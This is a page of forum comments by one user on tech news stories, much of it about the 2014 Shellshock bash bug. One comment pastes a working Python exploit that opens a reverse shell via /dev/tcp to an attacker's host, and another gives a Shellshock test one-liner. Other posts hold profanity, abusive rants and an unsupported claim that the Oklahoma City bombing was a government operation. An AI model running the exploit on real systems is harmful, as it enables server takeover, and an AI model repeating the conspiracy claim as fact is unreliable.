Feeds

* Posts by Destroy All Monsters

9720 posts • joined 3 Jun 2008

Shellshock: 'Larger scale attack' on its way, warn securo-bods

Destroy All Monsters
Silver badge
Thumb Down

Re: run for the hills!

> a server is not supposed to be using Bash for its system accounts

Care to explain why?

"I'm so secure I shit bricks, my CPU only runs NOPs"

3
0
Destroy All Monsters
Silver badge

Lord Keynes, please!

0
0

WHY did Sunday Mirror stoop to slurping selfies for smut sting?

Destroy All Monsters
Silver badge
Facepalm

Obligatory Google Diss is Obligatory

So, for example, the US Federal Drug Administration's 2012 sting on Google over advertising by illegal pharmacies induced the public to pay for black market drugs.

Woah inducing people to pay for their wares? Whatever next? Copyrights and stuff like that??

Seriously though, a clear-cut case this wasn't. When you need to embiggen the affair by having a convicted con-man relentlessly hotcalling Google reps, you will get the man eventually. S.O.P. for the FBI, sadly. Maybe they should go after actual criminals instead of creating them from whole cloth? Yeah, I know, so 1980s.

1
1
Destroy All Monsters
Silver badge

Re: Entrapment???

I don't where you got you brain from but did the lady, in fact, intend to deliver the goods?

No?

Oh, the lady didn't even exist?

Well, then.

3
0

Crouching tiger, FAST ASLEEP dragon: Smugglers can't shift iPhone 6s

Destroy All Monsters
Silver badge

Re: Are all the greymarket phones

No they come in 50 different shades.

More fong shui, Cook, please!

4
0

Ruskies use commercial crimeware to mask 'patriotic' Ukraine hacks

Destroy All Monsters
Silver badge
Facepalm

Straight outta Nuland

stealing entire corporations all the way to engineering "domestic revolts" in neighbouring countries

Oh, you mean "color revolutions". No , wait... those countries are an ocean away. So it's probably justified. And if muslim, we bomb them to smithereens, inventing imminent threats as we go. So that can't be all bad, then?

Governments - looking out for you since the Assyrian empire.

3
0

Pizza stores popped, sandwich stores sacked in PoS plunder

Destroy All Monsters
Silver badge
Trollface

That malware's got character.

The malware evaded anti-virus software and remained in Jimmy John's sandwich stores from June to 5 September this year.

Evading anti-virus software is like outwitting TSA officers, but staying in the sandwich store for 3 months like a slightly creepy diner guest in a David Lynch movie is pretty sly.

3
0

Ello? ello? ello?: Facebook challenger in DDoS KNOCKOUT

Destroy All Monsters
Silver badge
Holmes

Hear, hear!

If they "blocked IPs", then a DDoS it wasn't.

4
0

CURSE YOU, 'streaming' music services! I want a bloody CD

Destroy All Monsters
Silver badge
Windows

Re: Just an idle thought

Of course, I have a few CDs with tracks that have this kind of hipsterism going.

I am sure there is some mind-bending recursive truth of Gödel-Escher-Bach level in there, but I just can't find it now.

0
0
Destroy All Monsters
Silver badge
Holmes

Re: You think you're old...

You need a player with a USB stick (insertable such that it doesn't stick out) accepting every (free, non-DRM) music format, not using FAT and no bigger than the palm of the hand.

2
1

That glass of water you just drank? It was OLDER than the SUN

Destroy All Monsters
Silver badge
Paris Hilton

opens up the idea that water may be found elsewhere in the universe

Yes. How has that been in doubt, ever?

Something must happen to the solar masses of hydrogen and oxygen blasted into space by supernovas. What could that be?

12
0

iPAD-FONDLING fanboi sparks SECURITY ALERT at Sydney airport

Destroy All Monsters
Silver badge

Metal Gear!??!!

"Head buried" means invisible to security!

8
0

Microsoft on the Threshold of a new name for Windows next week

Destroy All Monsters
Silver badge
Trollface

After "Windows"

"Trapdoors".

I'd vote for it.

12
0

Japanese volcano eruption reportedly leaves 31 people presumed dead

Destroy All Monsters
Silver badge
Holmes

Hopefully there is no nuclear reactor involved this time.

Japan's Prime Minister Shinzo Abe told reporters:

"Nearly 200 people are in the process of descending the mountain, but we are still trying to figure out details. I instructed to do all we can to rescue the people affected and secure the safety of the trekkers."

I like it how politicians always issue diamond-hard instructions to rescue people, secure stuff and project the batsymbol onto low-hanging clouds. As if they actually were somehow in the chain of command. Or even in the chain of competence.

Abe is otherwise known for making a passable impression of a Basset and irreparably destroying the Japanese economy through his application of the "three arrows" voodoo policy. Pray to God Amaterasu that he is kept away from this.

1
8

Alien gimp gag or cosmic golf ball? NASA tackles question everyone's asking

Destroy All Monsters
Silver badge
Paris Hilton

Re: says:

Unless this is somehow linked to Roswell, I don't see what Eisenhower has to do with this?

(He wasn't even listed on the "most salvageable persons list" in case the alien invasion would be going ahead before 1960, as everyone in the know expected, a plan nixed by the Council of Reticuleans uniformly in disgust once they discovered that humans had invented COBOL, a feat that indicated a new low for the Orion arm and earned this part of the galaxy a few additional demerit points.)

2
0

Bad boy builds beastly Bash bug botnet, boxen battered

Destroy All Monsters
Silver badge
Thumb Down

> Bash isn't useful for startup wrappers etc. That's what the bourne shell is for.

I wonder where people pull these retarded "rules" from. Do they have an Ouija Board connected to the deep platonic souls of K&R?

3
0

Hackers thrash Bash Shellshock bug: World races to cover hole

Destroy All Monsters
Silver badge
Trollface

Re: OpenBSD for the win @iEgoPad

Oh, and by the way, I'm an AIX zealot, and am feeling a bit smug.

Ah, that was the system in which any process could read the environment variables of any other process, right? It's true it has been some time...

AIX was derived from AT&T code

And we all know that true enlightement only comes from code touched by the holy hand of Ma Bell.

0
0
Destroy All Monsters
Silver badge
Trollface

Re: In the interest of fairness

As long as your machine is of beige colour, local sanitary conditions should make this shellshock virus of no consequence to you.

0
0
Destroy All Monsters
Silver badge
Trollface

Re: FUD whack-a-mole

From that site: Someone is using masscan to deliver malware. They'll likely have compromised most of the system I've found by tomorrow morning. If they using different URLs and fix the Host field, they'll get tons more.

This is Blood Music in my ears!

0
0
Destroy All Monsters
Silver badge
Holmes

Re: permisions

What you get is an exploitshell running as apache (unless SELinux rules or something else kicks in), which may or may not have interesting consequences. In such systems, local privileges escalations may well be possible.

2
0
Destroy All Monsters
Silver badge
Holmes

Re: OpenBSD for the win

Because "real UNIX roots" == "doesn't include bash"

The fanboism is strong in this one. Do you have an AT&T logo on your wall? Moved beyond C yet? What's that? Glasstrons? Suits you, sir!

3
4
Destroy All Monsters
Silver badge
Paris Hilton

Re: Eyes on the code? Not.

bash too complex and it was one of the decisions on why it is not the default root shell and is strictly prohibited for use in any shell scripts which are part of the core system

I don't get this rationale, which seems appropriate to setuid programs but not to shells. Otherwise the perl interpreter would be right out, too.

A wild root shell running commands sourced from random system users sounds adventurous at the best of times, whether it is bash or the best-audited minimalistic shell ever. If you execute "rm -rf" it's relatively unimportant what runs it.

Note that generally you don't even need the shell, you just need to run the process, like "logrotate" vs. "bash -c logrotate", but that's just by-the-by.

2
0
Destroy All Monsters
Silver badge
Megaphone

Re: Eyes on the code? Not.

So frankly, this is blown out of proportion.

Directly from pastebin. Finally a good use for the megaphone icon that is unrelated to Israel.

And El Reg, still no code tags that actually preserve whitespace? Shame.

# CVE-2014-6271 cgi-bin reverse shell

import httplib,urllib,sys

if (len(sys.argv)<4):

print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]

print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]

exit(0)

conn = httplib.HTTPConnection(sys.argv[1])

reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell }

conn.request("GET",sys.argv[2],headers=headers)

res = conn.getresponse(); print res.status, res.reason ; data = res.read() ; print data

5
5
Destroy All Monsters
Silver badge
Trollface

Re: FUD whack-a-mole

Now, doesn't that tell somebody something? Like this might be a little bit overblown?

Sounds like the "dodging the bullet" fallacy, also seen with fag smoke, huge meteors, booster O-rings, influenza mutations, keynesian economics, vacuum phase changes and mother-in-laws.

22
0
Destroy All Monsters
Silver badge
Pint

Re: How to check?

Presumably that is good?

Yes, you are good.

GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)

Further along than on Fedora 20, I just arrived at 4.2.47(1).

0
0
Destroy All Monsters
Silver badge

Re: Eyes on the code? Not.

It's just fake history inserted by the Matrix to test us.

7
0
Destroy All Monsters
Silver badge

Re: How to check?

Simples run this in your shell:

env x='() { :;}; echo OOPS' bash -c /bin/true

Check whether "/bin/bash" exists:

stat /bin/bash ; find / -name bash -type f

Detect version:

/bin/bash --version

0
0

Bruges Booze tubes to pump LOVELY BEER underneath city

Destroy All Monsters
Silver badge
Windows

Chthonic!!

It's best to lay it along Ley Lines for maximum unification.

2
0
Destroy All Monsters
Silver badge

Re: it makes sense

SCIENCE!

So it was worth it to guarantee Belgium's neutrality after all.

5
1

A Norsified Linux for Windows and OS X wobblers

Destroy All Monsters
Silver badge
Childcatcher

The feel of a pig in a cage on antibiotics is kept alive by cozy words

I was wise to not use ISIS because, well, Murrica.

However expect moral panic about nazi terror being unleashed by Tea Partiers deploying Freya Desktops to plan bomings in the US in a minute or two. Because, Linux is anarchist, thus potential terrorist, right?

2
20

Bubble 2.0? Moneybags VC Andreessen warns profit-free startups: 'You will be VAPORIZED'

Destroy All Monsters
Silver badge
Trollface

Re: Most asset classes...

Hell yeah.

I remember Dot-com_commercials_during_Super_Bowl_XXXIV. Probably on Youtube somewhere.

0
0
Destroy All Monsters
Silver badge
Paris Hilton

Why is there a question mark after "Bubble 2.0?"

Maybe because this is actually "Bubble 3.0", the third one in about 15 years? Probably a record in the history of humanity.

M. "Snowden is a Traitor" Andreessen, is late to the party. I don't see why him saying something is making it more visible...

As I mentioned earlier:

How Financial Bubbles Fester And Burst—Even As The Fed Says Not To Worry

In today’s post Wolf Richter offers some solid insights on the dynamics of financial bubbles which merit further comment. The starting point is to recognize that once they gain a head of steam, financial bubbles tend to envelope virtually every nook and cranny of the economy, creating terrible distortions and destructive excesses as they rumble forward. In this instance, Wolf Richter explains how Silicon Valley has once again (like 1999-2000) been transformed into a rollicking capital “burn rate” machine that has spawned a whole economy based on striving for bigger losses, not better profits.

This latter development—- currently exemplified by 44 VC start-up companies in the IPO pipeline with a valuation of more than $1 billion each, despite no earnings and scarce revenues—-is indicative of late stage bubble dynamics. Say January 2000!

Needless to say, our monetary central planners remain hopelessly bubble blind—- still professing to see no significant speculative excesses because they are looking in the wrong place. Janet Yellen, for instance, keeps insisting that stock valuation multiples are still well within “historic ranges”. So DO NOT BE TROUBLED....

0
0

Let it go, Steve: Ballmer bans iPads from his LA Clippers b-ball team

Destroy All Monsters
Silver badge

Re: How Ballmer wrecked Microsoft...

Because it will come out with a blue tinge?

3
0
Destroy All Monsters
Silver badge

Re: The guy's a nightmare.

HERESY!!

0
0

FBI boss: Apple's iPhone, iPad encryption puts people 'ABOVE THE LAW'

Destroy All Monsters
Silver badge
Mushroom

Fuck these guys 10'000 times.

It's like we are back in the times of Janet Reno productions (incontinent killing of civilians for progressive ends) and the endless whining of the Clinton Mafia (imma want muh Clipper chip).

KILL THEM WITH FIRE. THEY HAVE ALL THE SNOOPING THEY WANT. THROUGH THE BACKDOOR. THEY MESSED UP THE POLITICIAL SITUATION SO THAT A FEW OKLAHOMA CITIES ARE PRACTICALLY CERTAIN. AND YET THEY WHINE. F*CKKETY F*CK F*****CKKKKKK!!!!

And I may add that it is as yet very much uncertain that Oklahoma BoomBoom wasn't an undercover operation gone awfully wrong with the purpose of "flushing out right-wing elements". That modus operandi we have so often lovingly had to approve of during the last 10 years or so (Wee, we have terrorists! Yeah, our guy made them do it all, what of it?)

7
3

Patch Bash NOW: 'Shellshock' bug blasts OS X, Linux systems wide open

Destroy All Monsters
Silver badge
Holmes

A good idea.

Is this checked via SELinux or via the login process?

0
0
Destroy All Monsters
Silver badge
Holmes

Re: This isn't a bug

Absolutely, the problem is where the problem is.

But so what?

1
0
Destroy All Monsters
Silver badge
Trollface

BE ALL YOU CAN BE!

Go into IT, discover something new every day!

2
0
Destroy All Monsters
Silver badge
Holmes

Re: And they said I was crazy

You cannot graft anything to bash without ending up with an eldritch horror that will haunt your nights. The man page insinuates as much.

But ksh and csh are not the way to go.

Just take a proper script language with minimal syntax, preferably functional (hint lots of parentheses hint), that has some syntactically nice ways to start processes and network/control them like a good process juggler, with workflow features and ETL gimmicks directly included.

As for Powershell ... yeah, I have the book by Manning, but, ... I still have to make time for it.

0
0
Destroy All Monsters
Silver badge
Holmes

Re: Always been there or new?

"I don't know who Alan Geer is, and with the following quote from his article I can't be bothered to find out"

Frankly, you should.

You should also stop jumping at words like a neurotic. In my opinion, anything downwards of using a theorem prover that your code does exactly what it says on the tin is "looking at code". And then you need to look at the tin...

1
1
Destroy All Monsters
Silver badge
Pint

Re: Linux = Making Windows look Great

Troll/10, would inject code with.

Where is the "This is bait" icon?

1
0
Destroy All Monsters
Silver badge

Re: This was fixed before you even reported it

I think I met her in a bar yesterday.

4
2

Bash bug: Shellshocked yet? You will be ... when this goes WORM

Destroy All Monsters
Silver badge
Paris Hilton

Re: shell shocked admins?

I've about 40 of these accounts out there and I don't know about anyone else, but I wipe the environment at the top of the script intentionally .

I understand that at this point it's too late?

I seem to recall an input in Java 1.5.(something) that could be used to fork a shell out of a jvm.....

No. You need to run

Process p = Runtime.getRuntime().exec("bash -c '" + injectCommandLikeABeachedWhale() + '");

1
0
Destroy All Monsters
Silver badge
Coat

Re: Oh $!#t.

Running bash scripts to process requests on a web server is 1980-era software design that is in dire need of an upgrade anyway

Doc Brown, you need more jigawatts!

I know that for some Gulf War I was before they were born, but still!

2
0
Destroy All Monsters
Silver badge
Paris Hilton

Re: Oh $!#t.

What service do you have listening for TCP calls that will run a bash script with an environment crafted by the caller?

Why would anyone do such a weird thing?

Everybody who uses old-school CGI or anybody who hacked some stuff back in 2000 on the quick?

3
1
Destroy All Monsters
Silver badge

Re: "The use of shells for CGI was discouraged since the mid 90s."

Yes, yes, yes.

In other news, homeopathy is still a hot topic.

9
0
Destroy All Monsters
Silver badge

Re: When do the films come out?

"Smoking Hashroom"

"Randthrax Attacks"

"Illegal State of Siria and the Login"

2
0
Destroy All Monsters
Silver badge
Trollface

Damned bash who does it work?

0
0

IT crisis looming: 'What if AWS goes pop, runs out of cash?'

Destroy All Monsters
Silver badge
Trollface

I like this thinking!

"The big public infrastructure-as-a-service (IaaS) players may be on the brink of a crisis as cataclysmic as the 2008 banking crash"

Yes, but the whole economy is also on the brink of a crisis far more cataclysmic than the 2008 banking crash and the 2001 dot.com crash. Where is your credit now?

Let's invest in a couple of on-premise servers.

How Financial Bubbles Fester And Burst—Even As The Fed Says Not To Worry

In today’s post Wolf Richter offers some solid insights on the dynamics of financial bubbles which merit further comment. The starting point is to recognize that once they gain a head of steam, financial bubbles tend to envelope virtually every nook and cranny of the economy, creating terrible distortions and destructive excesses as they rumble forward. In this instance, Wolf Richter explains how Silicon Valley has once again (like 1999-2000) been transformed into a rollicking capital “burn rate” machine that has spawned a whole economy based on striving for bigger losses, not better profits.

This latter development—- currently exemplified by 44 VC start-up companies in the IPO pipeline with a valuation of more than $1 billion each, despite no earnings and scarce revenues—-is indicative of late stage bubble dynamics. Say January 2000!

And also:

"He said nobody predicted the financial meltdown in the banking sector"

He says bullshit

4
2